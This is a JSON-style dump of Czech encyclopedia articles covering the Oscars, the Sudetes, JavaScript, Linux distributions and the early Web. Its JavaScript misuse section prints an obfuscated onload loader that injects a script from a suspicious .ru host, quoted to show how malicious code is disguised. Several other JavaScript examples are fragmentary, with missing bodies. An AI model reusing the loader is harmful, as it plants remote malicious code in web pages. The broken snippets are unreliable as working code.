Akademie udílení přesunula z pondělí na neděli a od roku 2004 se většinou koná poslední únorovou neděli. Výjimkou je rok, kdy se konají zimní olympijské hry. To pak Akademie udílení posouvá na první březnovou neděli.", "Objektivita udílení cen je zpochybňována. Prokazují to historické statistiky, že nejde jen o hodnocení filmového umění, ale i o společenské vztahy. Dochází i k protestům." ] }

{ "title": [ "Toponomastika pojmu Sudety.", "Bohaté Sudety a Chudé Sudety.", "Dějiny Sudet na počátku 20. století.", "Vyhlášení autonomní provincie.", "Slezsko, Polsko.", "Sudetské země, sudetští Němci.", "Jako součást Třetí říše.", "Obnovené Československo.", "Současnost.", "Vývoj zákazu používání pojmu „Sudety“ v Česku a na Slovensku." ], "section_level": [ "1", "2", "1", "2", "2", "2", "2", "2", "1", "1" ], "content": [ "Původ názvu Sudety není jednoznačný. Nejčastěji uváděný výklad tvrdí, že původní fyzickogeografický termín \"Sudéta\" je slovo keltského původu, složené z gramatického základu \"sud\"- (kanec) a přípony -\"éta\" (les), dohromady tedy „Les kanců“. Někdy se uvádí jiný výklad, například pomocí starogermánského slova „\"Sudtha\"“, překládané jako „les“. Termín je doložený již ve starověku u Klaudia Ptolemaia. Není však jisté, jestli skutečně toto slovo na jeho mapě označovalo stejné pohoří.", "Sociální geograf Radim Perlín dělí Sudety na tzv. Bohaté Sudety a tzv. Chudé Sudety. Oblast Bohaté Sudety je vymezena na základě bývalé česko-německé etnické hranice rozšíření původního německého obyvatelstva v pásu osídlení podél severozápadní a severovýchodní hranice Česka. Bohaté Sudety se rozkládají v prostoru od ašského výběžku přes Karlovarsko, severočeskou konurbaci, oblast Českého středohoří, Liberecko, krkonošské a orlické podhůří až na Jesenicko a Opavsko. Pro Bohaté Sudety je charakteristická industrializace a urbanizace. Oblast Chudé Sudety se rozkládá podél jihozápadní, jižní a jihovýchodní hranice Česka. Chudé Sudety jsou vymezeny na bázi původní etnické hranice, ale na rozdíl od Bohatých Sudet v rurálním prostředí.", "Již před první světovou válkou vzniklo v Sudetech pangermánské hnutí (DAP), z něhož později (nepřímo) vznikla NSDAP a SdP. Po první světové válce spory o přesnou podobu hranic nově vzniklého Československa vedly k několika ozbrojeným konfliktům, z nichž nejdramatičtější byl s Polskem o jižní část Slezska (tehdy ještě nebyly Sudety nijak přesněji vymezeny).", "Po vzniku Československa v roce 1918 vyhlásili Němci žijící v pohraničních částech Čech, Moravy a bývalého Rakouského Slezska ve dnech 29. a 30. října následující čtyři autonomní provincie, rozkládající se podél hranic s Rakouskem a Německem, jež požadovaly nezávislost na Československu a přičlenění k Německému Rakousku, potažmo k nově vzniklé Německé republice: Mimo těchto čtyřech oblastí stálo Novobystřicko, připojené rovněž k Dolním Rakousům. Dále ještě jazykový ostrov Jihlava s 22 okolními vesnicemi. Mezi těmito oblastmi obývanými převážně německou populací, respektive mezi jejich zástupci, však neexistovala politická spolupráce. Československo obnovilo svoji územní integritu se všemi odtrženými územími jejich vojenským obsazením prakticky bez větších vojenských akcí mezi 1. – 20. prosincem 1918, takže se pokus o odtržení nezdařil. Tyto čtyři celky tak přestaly existovat a Československá vláda neuznala právo německé menšiny na sebeurčení. Protesty německého obyvatelstva, které se dovolávalo tzv. práva národů na sebeurčení, byly potlačeny vojskem za použití síly. Tyto demonstrace byly podpořeny jednodenní generální stávkou německého obyvatelstva. Demonstrace byly potlačeny československou armádou s 54 mrtvými a 84 zraněnými osobami. Jednalo se o demonstrace např. v Liberci, Moravské Třebové nebo Kadani. Mezi zabitými Němci byly desítky žen a dětí. Později byly tyto oběti coby „březnoví padlí“ využívány nacionalisty k eskalaci konfliktů, zejména v pohraničních oblastech, které se samy začaly označovat jako Sudety. Když přestal tento druh odporu ztrácet na intenzitě, pojem „sudetský“ přetrval jako identifikace se zbytkem německého obyvatelstva v Československu. Nicméně toto označení Němců v celém Československu až do třicátých let nebylo v tomto smyslu používáno. Hranice Československa po první světové válce byly určovány mírovými smlouvami, které potvrzovaly vítězné mocnosti. Na jihu a východě Československé republiky byly hranice potvrzeny tzv. Trianonskou smlouvou v roce 1920. Hranice se sousedním Německem a Rakouskem byly potvrzeny na Pařížské mírové konferenci už o rok dříve, zde byla také potvrzena územní celistvost Československa. Smlouva s Německem byla uzavřena ve Versailles a v Saint–Germain s Rakouskem.", "V roce 1920 bylo k ČSR připojeno i území Hlučínska, dále část Vitorazska a Valticko. Po bojových střetnutích a následném arbitrážním rozhodnutí Spojenců se rozdělila oblast Těšínska mezi ČSR a obnovené Polsko, hranicí se stala řeka Olše. V tomto regionu šlo především o velké zásoby kamenného uhlí a vysokou koncentraci průmyslových podniků. Sudety zpočátku zřejmě zahrnovaly pouze pohoří na jihozápadě Slezska, ale záhy tento pojem označoval celou soustavu pohoří (Sudety = Sudetská soustava/subprovincie = Krkonošsko-jesenická subprovincie) od dolního toku řeky Ohře až po řeku Odru, tedy severní část Krušných hor, Lužické hory, Jizerské hory, Krkonoše, Orlické hory a Jeseníky. V polštině termín \"Sudety\" (čes. Krkonošsko-jesenická subprovincie) označuje horské pásmo od Labského údolí až po Moravskou bránu.", "V roce 1903 použil politický aktivista a publicista Franz Jesser v jedné ze svých studií poprvé termín \"Sudetendeutsche\" (sudetští Němci), podle horstva, které bylo v Čechách, na Moravě i v rakouském Slezsku, jako označení pro německojazyčné obyvatelstvo Českých zemí (na rozdíl od \"Alpendeutsche\" – tedy Němců ze zemí dnešního Rakouska, popřípadě Slovinska). Během následujících dekád se toto slovo prosadilo a bylo široce užíváno. České země začali rakouští Němci označovat termínem \"Sudetské země\" (něm. \"Sudetische Länder\" nebo \"Sudetenländer\"). V roce 1927 vydal geograf Fritz Machatschek geografii Československa (ČSR) pod názvem \"Landeskunde der Sudeten- und Westkarpatenländer\". Žádná politická strana se po roce 1918 neoznačovala za sudetoněmeckou do doby, než s tímto pojmem začal operovat Henlein na konci roku 1933. Ve 20. a 30. letech 20. století se termín Sudety \"(Sudetenland)\" začal užívat pro většinu pohraničních oblastí Českých zemí (včetně Moravy a Slezska), kde žila až do roku 1945–1946 početná německá menšina (3 až 3,5 milionů občanů). Sudetské pohraničí živil především lehký průmysl (naprostá většina produkce se vyvážela), a velkou hospodářskou krizí z let 1929–1933 bylo obzvláště silně postiženo. Československá vláda tento problém v Sudetech nijak neřešila.", "Termín, který nabyl územně politického obsahu, byl využit německými nacisty za podpory části německého obyvatelstva Sudet (zejména Sudetoněmecké strany, SdP) k rozbití demokratického Československa. Toto území bylo totiž od 10. století nikdy nezpochybněnou součástí českého státu, resp. zemí Koruny české (které byly až do roku 1918 součástí mnohonárodnostní Svaté říše římské, respektive Rakouska-Uherska), třebaže tu od 13. století žilo německé obyvatelstvo, které zde mělo většinu. Po mnichovské dohodě (1938) bylo jako \"Sudetenland\" označováno veškeré území odstoupené pod nátlakem velmocí Československem hitlerovskému Německu. Obyvatelé české národnosti se mohli přihlásit k obnovenému občanství Československé republiky a přestěhovat se do ní. Češi, kteří v pohraničí zůstali, byli diskriminováni v zaměstnání i ve školách. Místní němečtí antifašisté, respektive jedinci, kteří se nepřipojili k masové podpoře nacistické strany a z různých důvodů zároveň nemohli odejít do českého vnitrozemí, začali být okamžitě zatýkáni. České obyvatelstvo nicméně začalo nyní zjednodušenou optikou ve všech českých Němcích, nyní v duchu nacistické propagandy označovaných jako sudetskými Němci, své úhlavní nepřátele. Na zabrané pohraniční území byla 1. října 1938 na základě výnosu vůdce a říšského kancléře o správě sudetoněmeckých území \"(Erlaß des Führers und Reichskanzlers über die Verwaltung der sudetendeutschen Gebiete)\" ustavena správní jednotka Sudetoněmecká území, která se podle zákona „O opětovném sjednocení sudetoněmeckých území s Německou říší“ \"(Gesetz über die Wiedervereinigung der sudetendeutschen Gebiete mit dem Deutschen Reich)\" oficiálně stala 21. listopadu 1938 integrální součástí nacistického Německa. Říšská marka byla v Sudetoněmeckých územích zavedena 11. října 1938, ale teprve 15. listopadu 1938 zde byla ukončena souběžná platnost československé měny. Po vytvoření Protektorátu Čechy a Morava se podle rozhodnutí Hitlera z 25. března 1939 větší část Sudetoněmeckých území přeměnila k 15. dubnu 1939 na základě zákona „O rozdělení sudetoněmeckých území“ \"(Gesetz über die Gliederung der sudetendeutschen Gebiete)\" v \"Sudetskou župu (Gau-Sudetenland)\", zahrnující oblast od Domažlicka po Moravskou Ostravu s centrem v Liberci (\"Reichenberg\"), kde měl sídlo říšský župní správce Konrad Henlein; území se dělilo na tři vládní obvody: Cheb (\"Eger\"), Ústí nad Labem (\"Aussig\") a Opavu (\"Troppau\"). Území na jihozápadě Čech bylo připojeno k Bavorsku, stalo se tak součástí župy Bavorská Východní marka (\"Reichsgau Bayerische Ostmark\"). V roce 1942 bylo území přejmenováno na říšskou župu Bayreuth (\"Reichsgau Bayreuth\"). Hlučínsko bylo znovupřipojeno k Prusku a v jeho rámci začleněno do provincie Slezsko. Zbytek území na jihu byl připojen k bývalému Rakousku (\"Ostmark\") a v jeho rámci rozdělen mezi Zemské hejtmanství Dolní Podunají (bývalé Dolní Rakousy) a Zemské hejtmanství Horní Podunají (bývalé Horní Rakousy).", "Po porážce Třetí říše bylo veškeré odstoupené pohraniční území připojeno zpět k ČSR a zároveň na základě článku XI. až XII. závěrů Postupimské dohody vítězných velmocí (1945) byla drtivá většina československého obyvatelstva hlásícího se k německé národnosti „odsunuta“ z Československa do americké a sovětské okupační zóny v Německu (a připravena prakticky o veškerý majetek). Při odsunu (v angl. orig. Postupimské dohody je uvedeno slovo „\"transfer\"“ = přemístění, odsun), docházelo i k zabíjení německých civilistů. Tzv. amnestijní zákon (zákon č. 115/1946 Sb.) toto zabíjení neexkulpoval – vztahoval se jen na \"„jednání, k němuž došlo od 30. 9. 1938 do 28. 10. 1945 a... které směřovalo ke spravedlivé odplatě za činy okupantů nebo jejich pomahačů“\", nikoliv na činy spáchané z „pohnutek nízkých a nečestných“. Masivní úbytek německého obyvatelstva Sudet byl alespoň z části nahrazen lidmi z vnitrozemí Českých zemí a Slovenska a také přistěhovalci ze zahraničí, například Řeky, Rumuny a Volyňskými Čechy. Imigrantů z ciziny bylo úhrnem asi 200 000. Do Sudet později za podpory komunistické vlády přesídlilo i mnoho slovenských Cikánů a Maďarů, tehdejší tisk psal, že budou zdrojem pracovní síly v pohraničí. Existovala zde totiž iniciativa československé vlády na osídlení prázdného českého pohraničí, kde byl soustředěn průmysl. Od konce let čtyřicátých až asi do poloviny let osmdesátých československý tisk, rozhlas a televize nazývali odsunuté sudetské Němce revanšisty (údajně mysleli na odvetu, na revanš). Kvůli vlivu rozsáhlé migrace v Sudetech zde na několik desetiletí prakticky zanikl veřejný život. Lidé se často cítili a stále ještě cítí vykořeněni. Situace se začala výrazně lepšit až v 90. letech 20. století poté, co se o problému vůbec mohlo otevřeně mluvit.", "Zatímco československo-rakouskou smlouvou byla otázka odškodnění odsunutého německého obyvatelstva do Rakouska fakticky vyřešena, někteří sudetští Němci, vzdor uzavřené česko-německé deklaraci (ratifikovaná 1997), nepovažují problém svého odsunu a zabavení majetku na základě „kolektivní viny“ (podle Benešových dekretů) za uzavřený.", "Československý exilový prezident Edvard Beneš napsal v červnu 1942 Wenzelu Jakschovi: Dne 31. srpna 1942 přijalo exilové Prezidium čs. Ministerské rady (na návrh čs. exilového ministerstva vnitra ze 14. února 1942) vyhlášku, podle které se užívání pojmů spojených se slovem sudetský Němec stává protiústavním a může být i trestné. Dne 22. května 1945 vešla v platnost vyhláška, hovořící o nepřípustnosti užívání pojmu Sudety: \"„Název ”Sudety” nepřípustný: ministerstvo vnitra upozorňuje, že používání názvu ”Sudety”, jeho odvozenin a podobných výrazů, obvyklých v době okupace, je nepřípustné. Pro označení příslušného území buď užíváno názvu ”pohraniční území”. Opatření tohoto dlužno dbáti zejména v úředním styku veškeré veřejné správy.“\" V Československu bylo v roce 1945 tiskovou normou Ministerstva vnitra ČSR také mj. zakázáno použít v tisku názvu „Podkarpatská Rus“. O problematice pohraničí se hovoří v českých podmínkách od konce 30. let 20. století. Vždy se jednalo o území výrazně diferencovaná ekonomickým vývojem i národnostním složením (s výrazným zastoupením Němců). Co se rozumí pojmem \"pohraničí\"? První vymezení bylo ztotožněno s územím, které okupovala německá armáda ve druhé světové válce. Pro potřeby dosidlovací politiky a uplatňování dalších nástrojů byly v letech 1949, 1960 a 1969 vzhledem k administrativně správnímu členění provedeny dílčí úpravy. Dle Stanoviska Odboru legislativy a koordinace předpisů a kompatibility s právem Evropských společenství Ministerstva vnitra České republiky \"k používání názvu Sudety\" ze dne 13. srpna 2004 však nejsou vyhlášky z 22. května 1945 a z 31. srpna 1942 (navržená 14. února 1942) součástí platného právního řádu České republiky. V roce 1993 psal o rehabilitaci historicko-geografického pojmu Sudety Václav Král. V roce 1994 použili Ivan Bičík a Vít Štěpánek v názvu své studie \"Case Study of the Prague’s Environs and the Czech Sudetenland\" termínu \"Czech Sudetenland\" („české Sudety“). Ve 21. století již média výraz \"Sudety\" běžně používají bez nutnosti dalšího vysvětlování či obhajování jeho užití." ] }

{ "title": [ "Rysy objektově orientovaného programování.", "Dynamické.", "Dynamické přiřazení typů (Dynamic typing).", "Objekty jako asociativní pole (objects as associative fields).", "Runtime evaluation (= míra možných akcí proveditelných za běhu programu).", "Funkcionální.", "Funkce první třídy (first-class functions).", "Anonymní (vnitřní) funkce a uzávěry (closures).", "Prototypové (prototype-based).", "Prototypy (Prototypes).", "Funkce jako konstruktory objektů (Functions as constructors).", "Funkce jako metody (Functions as methods).", "Dědičnost (Inheritance).", "Výjimky (Exceptions).", "Rozšíření asm.js.", "Podpora JavaScriptu ve webových prohlížečích.", "Zneužívání JavaScriptu.", "Použití mimo webové stránky.", "Vývojové nástroje." ], "section_level": [ "1", "2", "3", "3", "3", "2", "3", "3", "2", "3", "3", "3", "3", "3", "2", "1", "1", "1", "1" ], "content": [ "", "", "Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript pochopitelně podporuje řadu způsobů, jak typ objektu otestovat.", "JavaScript je převážně objektově založený. Objekty jsou asociativními poli, rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole: obj.x = 10 a obj[\"x\"] = 10 jsou tedy ekvivalentními výrazy, první varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for... in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.", "Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.", "", "Označení funkce první třídy vyjadřuje, že funkce jsou samy o sobě také objekty. Jako takové, mají tedy své atributy a mohou být předány dále, anebo s nimi lze manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktory a metody).", "Vnitřní funkce (neboli funkce definované uvnitř jiných (vnějších) funkcí) jsou vytvořeny při každém zavolání funkce nadřazené, a proměnné funkcí vnějších existují po dobu existence funkce vnitřní, dokonce i po ukončení zavolání (tedy i po navrácení této vnitřní funkce, má daná funkce stále přístup k proměnným své funkce vnější) – toto je mechanismus v JavaScriptu nazývaný jako closures – uzávěry.", "", "Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností třídově založených (class-based) mechanismů, například dědičnost, která je u JavaScriptu nazývána právě jako dědičnost prototypová, která je vysvětlena na příkladu níže.", "Funkce tedy mají v JavaScriptu kromě své běžné role význam jako konstruktory objektů. Voláním konstruktoru pomocí operátoru new se pak vytvoří nový objekt (instance). Vlastnost objektu se deklaruje přes klíčové slovo this. Přímo při vytváření objektu lze tedy přejímáním parametrů volaného konstruktoru inicializovat jednotlivé proměnné. Atribut prototype dané funkce potom určuje prototyp nově vytvořeného objektu. Příklad konstruktoru třídy Auto: // Definice konstruktoru function Auto(znacka, spz) { // Vytvoření nového auta var mojeAuto = new Auto(\"mercedes\", \"3A4983\"); // Zavolání metody mojeAuto.vypisZnacku();", "Na rozdíl od většiny objektově orientovaných jazyků, u JavaScriptu nerozlišuje mezi definicí metody a definicí funkce. Znatelný rozdíl však vyvstane při volání – funkce může být volána jako metoda. Je-li funkce volána jako metoda objektu, je se svým objektem svázána klíčovým slovem this.", "Ačkoliv má JavaScript určité prvky dědičnosti, nejedná se o klasickou dědičnost známou z typových jazyků C++ nebo Java. JavaScript nepodporuje zápis tříd (pouze konstruktor) a s tím spojenou hierarchii tříd, proto lze hovořit spíše o jakési simulaci (viz oddíl prototypy výše) dědičnosti, nazvanou dědičnost prototypová. Prototyp slouží jako zvláštní objekt, který je přidružen každé funkci (tedy i k funkci jako konstruktoru). Všechny objekty inicializované skrze nějaký konstruktor dědí, respektive sdílejí, vlastnosti a metody obsažené právě v prototypu daného konstruktoru. Podíváte-li se zpět na zápis konstruktoru auto, v objektu je vložená také metoda vypisZnacku(). Technicky má v paměti každá instance této „třídy“ lokální kopii této metody, což je přinejmenším z hlediska správy paměti nevhodné. Právě tento problém řeší prototypy, neboť stačí metodu deklarovat na úrovni prototypu a ta již nebude součástí každé instance. To ovšem neznamená, že nebude dosažitelná. Při vyhodnocování JavaScript hledá metodu nejprve v příslušném objektu, pakliže ji nenajde, jde o úroveň výše – do prototypu konstruktoru. Samozřejmě je vhodné sdílení pouze takových datových složek, které jsou neměnné pro všechny instance. To znamená především metody a konstanty. Jak by vypadal upravený zápis předchozího příkladu můžete vidět níže: // Definice konstruktoru function Auto(znacka, spz) { Auto.prototype.vypisZnacku = function () { Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru planeta jako prototyp objekt VesmirnyObjekt: function VesmirnyObjekt(soustava) { function Planeta(soustava, jmeno, pocetMesicu) { // Podporováno od ES 5, tuto funkci je možné dodefinovat (ukázka např. na MDN): Planeta.prototype = Object.create(VesmirnyObjekt.prototype); // Je dobrým zvykem, aby vlastnost constructor odkazovala na správnou funkci (Object.create tuto vlastnost přepsala): Planeta.prototype.constructor = Planeta; // A nakonec přiřadíme do prototypu odkaz na rodiče: Planeta.prototype.parent = VesmirnyObjekt; // Vytvoříme novou instanci planety: var planeta = new Planeta(\"Alfa Centauri\", \"Terra Nova\", 2); alert(\"Soustava: \" + planeta.soustava", "Rysem společným s objektově orientovanými jazyky jsou také výjimky. Jedná se o mechanismus zachytávání stavů vyvolaných chybným kódem, například přístupem k neexistující metodě. Tyto chyby lze zachytávat pomocí klíčových slov try, catch a volitelně finally. Na rozdíl od jiných jazyků však výjimka může být jakéhokoli typu, tzn. můžeme vyvolat jako výjimku i řetězec nebo číslo: function Person(name) { try { catch (ex) { Je však dobrým zvykem vyvolávat výjimky s typem Error či podobnými.", "Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou, která je určena pro výrazné zrychlení běhu javascriptových aplikací, podobně jako technologie NaCl a jazyk Dart od Google. Rychlost v současné době dosahuje na hodnoty jen asi o 50 % nižší, než kód generovaný překladači, zejména původně napsaných pro hry z oblasti PC, typicky napsané v jazyce C nebo C++. Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v současné době, Mozilla Firefox, Google Chrome, Opera a Microsoft Edge.", "Webový prohlížeč uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí. Podle údajů firmy Yahoo z roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 % (celosvětový průměr), od 0,25 % v Brazílii po 2 % v USA. V rámci tzv. webové přístupnosti by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.", "Protože je JavaScript součástí většiny prohlížečů, existuje snaha o jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu IFRAME nebo použití nečitelného kódu v samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky. Co se týká druhé možnosti, např. kód: <script> try{window.onload = function() { var Q236s4ic4454clw = document.createElement('script'); Q236s4ic4454clw.setAttribute('type', 'text/javascript'); Q236s4ic4454clw.setAttribute('id','myscript1'); Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.***); // místo \"***\" má být \"replace('/\\(|\\!|&|#|\\$|\\)|@|\\^/ig', \")\" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy Q236s4ic4454clw.setAttribute('defer', 'defer'); document.body.appendChild(Q236s4ic4454clw); </script> vygeneruje HTML kód: <script defer=\"defer\" src=\"http://clicksor-com.eastmoney.com.mobile-de.homesaleplus.ru:8080/ocn.ne.jp/ocn.ne.jp/classmates.com/linkhelper.cn/google.com/\" id=\"myscript1\" type=\"text/javascript\"></script> který vlastní škodlivý kód načte z vnější adresy mimo napadený server.", "Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.", "Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena. Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js." ] }

{ "title": [ "Charakteristika.", "GNU/Linux kontroverze.", "Historie.", "Rané distribuce linuxu.", "Komponenty.", "Typy a trendy.", "Live distribuce.", "Vybrané distribuce." ], "section_level": [ "1", "1", "1", "2", "1", "1", "1", "1" ], "content": [ "Linux je označení pro volně šiřitelné jádro unixového operačního systému, které vytvořil Linus Torvalds v roce 1991, tehdy jako 21letý student informatiky na finské Helsinské univerzitě. Jeho vývoj probíhá otevřeným způsobem, kdy Linus průběžně vystavuje na Internetu jeho zdrojové kódy, které si může kdokoliv stáhnout na svůj počítač, volně používat i dále sdílet včetně provedených změn (tzv. open source software). Tento způsob vývoje software, kdy může kdokoliv změny Linusovi poslat a on je může do svého jádra začlenit a tím zveřejnit, se označuje jako tržiště. Již před vznikem Linuxu byl podobným způsobem, jako jádro Linuxu, pomocí Internetu vyvíjen i další volně šiřitelný software (označován podle specifických rysů jako svobodný software, open source software atp.). Mezi nejaktivnější, i když tehdy ne tak známé jako dnes, patřilo sdružení GNU. Takový volně dostupný zdrojový kód může kdokoliv použít a pomocí překladače vytvořit spustitelnou podobu, kterou již lze používat na vybraném počítači. Složením jádra Linuxu a dalšího vhodného software může vzniknout plnohodnotný systém, který je srovnatelný s komerčními alternativami (Microsoft Windows, Mac OS X apod.). Vytvoření funkčního systému však není zcela jednoduché, a proto již záhy po zveřejnění prvních verzí jádra Linuxu vznikaly tak zvané \"distribuce\", které bylo snadné z Internetu stáhnout, nainstalovat a používat. V současné době je na Internetu k dispozici mnoho distribucí, přičemž každá je výběrem obsaženého software a dalšími charakteristickými rysy určena jiné skupině uživatelů (začátečník, nadšenec, profesionál,...). Jednotlivé distribuce se vzájemně více či méně liší, protože všechny obsahují podobný software pocházející ze stejných zdrojů, avšak typicky získaný v jiném čase. Kromě volně dostupných distribucí jsou k dispozici i komerční distribuce, za jejichž používání je nutné platit (Red Hat Enterprise Linux, SUSE Linux Enterprise Server, a další). Linuxová distribuce je obvykle šířena jako ISO obrazy, které je možné vypálit na CD, DVD nebo umístit na USB flash disk a z tohoto média pak instalovat na pevný disk počítače, případně ji přímo používat (tzv. \"Live distribuce\", viz níže). Jednotlivé programy jsou rozděleny do balíčků, které je možné pomocí balíčkovacího systému do systému přidávat nebo z něj odebírat, případně systém aktualizovat a udržovat.", "Přestože je systém všeobecně označován jako Linux, některé distribuce (např. Debian) používají označení GNU/Linux, aby zdůraznily význam Projektu GNU a menšinový objem jádra Linuxu. Kritikové tohoto názvu poukazují na fakt, že software z projektů GNU je pouhým zlomkem těchto distribucí, že použití licence GPL jádrem a jinými projekty není dostatečným důvodem k zanesení její zkratky do názvu distribuce a že větší počet projektů používá jiné licence, než GNU (např. BSD licence, Apache licence atd.).", "Po vydání prvního jádra Linuxu v roce 1991 musel být uživatel alespoň z části odborníkem a mít mnoho speciálních znalostí nejen o software, ale i hardware osobních počítačů. Kromě toho musel vědět podrobnosti o stavbě unixových systémů, práci s knihovnami a podobně. Proto se záhy po zveřejnění jádra začaly objevovat první linuxové distribuce, které výrazně zjednodušovaly nasazení Linuxu a jeho používání i bez hlubších odborných znalostí.", "Distribuce SLS nebyla dobře udržována, a proto Patrick Volkerding vydal v roce 1993 distribuci založenou na SLS, kterou pojmenoval Slackware. Slackware je dnes nejstarší distribucí, která je stále aktivní a dále se vyvíjí. Uživatele přitahoval Linux jako alternativa operačních systémů DOS, Microsoft Windows, Mac OS, MINIX a proprietárních verzí Unixu. Většina nadšenců, kteří Linux používali, se s ním seznámila na svém pracovišti nebo ve škole. Přijali Linux z různých důvodů (vytváření webových serverů, BBS, dostupnost zdrojového kódu, nízké náklady,...). V současné době je používán i jako profesionální řešení.", "Typická linuxová distribuce pro desktopový systém obsahuje linuxové jádro, GNU nástroje a knihovny, dokumentaci, nástroj pro grafické rozhraní (X Window System), desktopové prostředí a další software. Většinu použitého softwaru je možno volně šířit, jedná se totiž o takzvaný svobodný software nebo open source software. Vývojáři tak distribuují software ve zkompilované podobě, ale také jako zdrojový kód. To potom umožňuje uživatelům nejen nahlédnout, ale i upravovat a sestavit původní zdrojový kód. Některý software v distribucích může být proprietární, a jeho zdrojové kódy nemusí být volně k nahlédnutí. Mnoho distribucí poskytuje instalační prostředky podobné ostatním moderním operačním systémům. Některé distribuce jako Gentoo Linux, T2 a Linux From Scratch obsahují pouze zdrojové kódy, takže si každý uživatel může přeložit svůj unikátní systém dle svých požadavků.", "Linuxové distribuce mohou být: Rozmanitost linuxových distribucí je způsobena rozdíly v technických, organizačních a filozofických aspektech mezi prodejci a uživateli. „Tolerantní licence“ volně dostupného softwaru znamená, že každý uživatel s dostatečnými znalostmi a zájmem může přizpůsobit stávající distribuce nebo navrhnout změnu.", "Live distribuce může být spuštěna z kompaktního disku nebo z jiného vyměnitelného média (například DVD nebo USB flash disk) namísto z pevného disku. Je-li operační systém spuštěn ze zařízení, ze kterého lze jen číst (CD nebo DVD), nelze uživatelská data ukládat na spouštěcí zařízení, ale musí být uložena na jiné médium, obvykle na pevný disk. Dočasná data jsou uchovávána v operační paměti. Tyto přenositelné instalace se stávají výhodnými v situacích, kdy chcete demonstrovat nějaké aplikace, „oživit“ počítač nebo jako instalační média pro standardní distribuce. Mnoho populárních distribucí existuje ve variantě \"Live\", ale také v tradiční formě na vyměnitelném médiu, která je určena pouze pro instalaci (například: SUSE, Ubuntu, Linux Mint, MEPIS, Sidux a Fedora). Některé distribuce jako je Knopixx, Devil-Linux a SuperGamer jsou určeny především pro Live CD, Live DVD nebo USB flash disk.", "Některé z běžných distribucí jsou:" ] }

{ "title": [ "Vznik WWW.", "Normy.", "HTTP a HTTPS specifikátory.", "Ukládání do vyrovnávací paměti (caching).", "World Wide Web vs internet." ], "section_level": [ "1", "1", "1", "1", "1" ], "content": [ "Autorem Webu je Tim Berners-Lee, který jej vytvořil při svém působení v CERNu. Navrhl jazyk HTML a protokol HTTP, napsal první webový prohlížeč WorldWideWeb a koncem roku 1990 spustil první webový server na světě info.cern.ch. V říjnu roku 1994 založil World Wide Web Consortium (W3C), které dohlíží na další vývoj Webu. Vize od globální propojené síti informací Tima Berners-Lee se stala možnou v druhé polovině osmdesátých let. Od roku 1985 se celosvětová síť začala rozšiřovat po Evropě a začal fungovat Domain Name System (hierarchický systém názvů domén, na němž je založen systém URL). V roce 1988 proběhlo první přímé IP spojení mezi Evropou a Severní Amerikou a Berners-Lee začal otevřenou diskuzi v CERNu o možnosti vzniku webového systému. Dne 12. března 1989 Berners-Lee vydal návrh s názvem: \"Information Management: A Proposal\" (v českém volném překladu \"Správa informací: Návrh\"), ten předložil vedení CERN, v návrhu předložil vznik systému nazvaného \"\"Mesh\"\", který odkazoval na ENQUIRE, databázi a softwarový projekt, který vznikl v osmdesátých letech. V tomto systému byl používán termín \"síť\" a popsal propracovanější systém řízení odkazů v textu: \"Představte si, že reference v textu 